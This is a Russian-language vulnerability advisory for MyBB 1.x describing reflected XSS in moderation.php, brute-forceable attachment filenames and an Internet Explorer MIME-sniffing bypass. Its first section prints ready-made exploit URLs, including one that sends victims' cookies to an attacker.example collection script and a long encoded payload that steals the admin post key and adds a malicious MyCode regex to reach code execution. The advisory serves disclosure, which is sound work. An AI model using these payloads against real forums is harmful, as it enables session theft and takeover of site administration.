Программа: MyBB (formerly MyBulletinBoard) 1.x
Найденные уязвимости позволяют удаленному злоумышленнику осуществить XSS
атаку, получить доступ к конфиденциальной информации и обойти ограничения
безопасности на целевой системе.
1) Уязвимость возникает из-за ошибки в проверке входных данных в параметре "url"
сценарием moderation.php (когда "action" установлен в "removesubscriptions" и "ajax"
в "1"). Атакующий может выполнить произвольный сценарий в браузере жертвы в
контексте безопасности уязвимого сайта.
Эксплоит:
http://www.victim.example/mybb/moderation.php?action=removesubscriptions&ajax=1&url='%2Balert('XSS!')//
Кража Cookie:
http://www.victim.example/mybb/moderation.php?action=removesubscriptions&ajax=1&url=%27%20%2B%27http://www.attacker.example/cookiejar.php?c=%27%2Bdocument.cookie//
Удаленное выполнение кода:
http://www.victim.example/mybb/moderation.php?action= removesubscriptions&ajax=1&url=%27%2Beval(%22u%3D%27application%2Fx-www-%27%2B%20%27form-urlencoded%27%22%2B%20String.from
CharCode(59)%20%2B%22c%3D%27Content-type%27%22%2B%20String.fromCharCode(59)%20%2B%22d%3D%27Content-length%27%22%2B%20
String.fromCharCode(59)%20%2B%22reg%3Dnew%20XMLHttpRequest()%22%2B%20String.fromCharCode(59)%20%2B%22reg.open
(%27GET%27%2C%20%27http%3A%2F%2Fwww.victim.example%2Fmybb%2Fadmin%2Findex.php%3Fmodule%3Dconfig%2Fmycode%26action%3D
add%27%2C%20false)%22%2B%20String.fromCharCode(59)%20%2B%22reg.send(null)%22%2B%20String.fromCharCode(59)%20%2B%22r%3D
reg.responseText%22%2B%20String.fromCharCode(59)%20%2B%22t%3D%27http%3A%2F%2Fwww.victim.example%2Fmybb%2Fadmin%2F
index.php%3Fmodule%3Dconfig%2Fmycode%26action%3Dadd%27%22%2B%20String.fromCharCode(59)%20%2B%22t2%3D%27%26replacement%3D%241
%26active%3D1%26my_post%22%20%20%20%20%2B%22_key%3D%27%2Br.substr(r.indexOf(%27my_post_%22%20%2B%22key%27%2B%20%
27%27)%2B15%2C32)%22%2F*%20%20%20%20%20%20*%2F%2B%22%20%2B%27%26title%3DPwned%26description%27%2B%20%27%3D
foo%26regex%3D%22%20%20%20%20%20%20%20%2B%22evil(.*)evil%2523e%2500test%27%22%2B%20String.fromCharCode(59)%20%2B%22r2%3D
new%20XMLHttpRequest()%22%2B%20String.fromCharCode(59)%20%2B%22r2.open(%27POST%27%2Ct%2Cfalse)%22%2B%20String.fromCharCode
(59)%20%2B%22r2.setRequestHeader(d%2Ct2.length)%22%2B%20String.fromCharCode(59)%20%2B%22r2.setRequestHeader(c%2Cu)%22%2B%20String.
fromCharCode(59)%20%2B%22r2.sendAsBinary(t2)%22%2B%20String.fromCharCode(59))//
2) Уязвимость возникает из-за того, что вложения сохраняются с именами
файлов, содержащими user ID и временную метку. Атакующий может применить метод
грубой силы (подбора), что позволит получить доступ к конфиденциальной
информации.
Эксплоит:
Данный код: $filename = "post_".$mybb->user['uid']."_".time().".attach";
Создает файлы вида: post_1234_[unix timestamp].attach
3) Уязвимость возникает из-за неправильной доставки загружамых файлов,
приводящей к обходу MIME-sniffing защиты в Internet Explorer. Атакующий может
загрузить произвольные файлы, которые будут интерпретироваться как HTML в
Internet Explorer, что позволит провести дальнейшие атаки.